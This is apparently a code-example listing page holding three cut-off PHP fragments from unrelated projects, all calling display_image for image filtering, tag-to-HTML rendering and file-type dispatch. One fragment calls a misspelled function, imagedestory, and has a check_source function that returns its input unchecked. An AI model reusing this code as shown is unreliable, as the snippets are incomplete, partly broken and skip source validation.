        imageconvolution($canvas, $sMatrix, $div, $off);
    }
    display_image($mime, $canvas);
    imagedestory($canvas);
    die;
} else {
    if (strlen($src)) {
        _error('src not found');
    } else {
        _error('no src defined');
    }
}
function check_source($src)
{
    return $src;
}
function get_query($variable, $default = 0)
{
Example #23
0
 function parse_images($body)
 {
     // parse for images
     preg_match_all('/image\\:([a-z0-9\\-_]+)/i', $body, $images);
     if ($images) {
         foreach ($images[1] as $image => $value) {
             $imageHTML = '';
             if ($imageData = $this->get_image($value)) {
                 $imageHTML = display_image($imageData['src'], $imageData['imageName'], $imageData['maxsize'], 'id="' . $this->CI->core->encode($this->CI->session->userdata('lastPage') . '|' . $imageData['imageID']) . '" class="pic ' . $imageData['class'] . '"');
                 $imageHTML = preg_replace('/src=("[^"]*")/i', 'src="' . site_url('/images/' . $imageData['imageRef'] . strtolower($imageData['ext'])) . '"', $imageHTML);
             } elseif ($this->CI->session->userdata('session_admin')) {
                 $imageHTML = '<a href="' . site_url('/admin/images') . '" target="_parent"><img src="' . $this->CI->config->item('staticPath') . '/images/btn_upload.png" alt="Upload Image" /></a>';
             }
             $body = str_replace('{image:' . $value . '}', $imageHTML, $body);
         }
     }
     // parse for thumbs
     preg_match_all('/thumb\\:([a-z0-9\\-_]+)/i', $body, $images);
     if ($images) {
         foreach ($images[1] as $image => $value) {
             $imageHTML = '';
             if ($imageData = $this->get_image($value)) {
                 $imageHTML = display_image($imageData['thumbnail'], $imageData['imageName'], $imageData['maxsize'], 'id="' . $this->CI->core->encode($this->CI->session->userdata('lastPage') . '|' . $imageData['imageID']) . '" class="pic thumb ' . $imageData['class'] . '"');
                 $imageHTML = preg_replace('/src=("[^"]*")/i', 'src="/thumbs/' . $imageData['imageRef'] . strtolower($imageData['ext']) . '"', $imageHTML);
             } elseif ($this->CI->session->userdata('session_admin')) {
                 $imageHTML = '<a href="' . site_url('/admin/images') . '" target="_parent"><img src="' . $this->CI->config->item('staticPath') . '/images/btn_upload.png" alt="Upload Image" /></a>';
             }
             $body = str_replace('{thumb:' . $value . '}', $imageHTML, $body);
         }
     }
     return $body;
 }
Example #24
0
 switch ($file_extension['extension']) {
     // Markdown
     // ------
     case "md":
     case "txt":
         display_markdown($content);
         break;
         // Images
         // ------
     // Images
     // ------
     case "jpg":
     case "png":
     case "jpeg":
     case "gif":
         display_image($content, $PathToLib, $CurrentFolderURL, $imagewidth, $imageheight);
         break;
         // Handle errors
         // -------------
     // Handle errors
     // -------------
     case "":
     case NULL:
         break;
         // Documents
         // -------------
     // Documents
     // -------------
     default:
         display_document($content);
         break;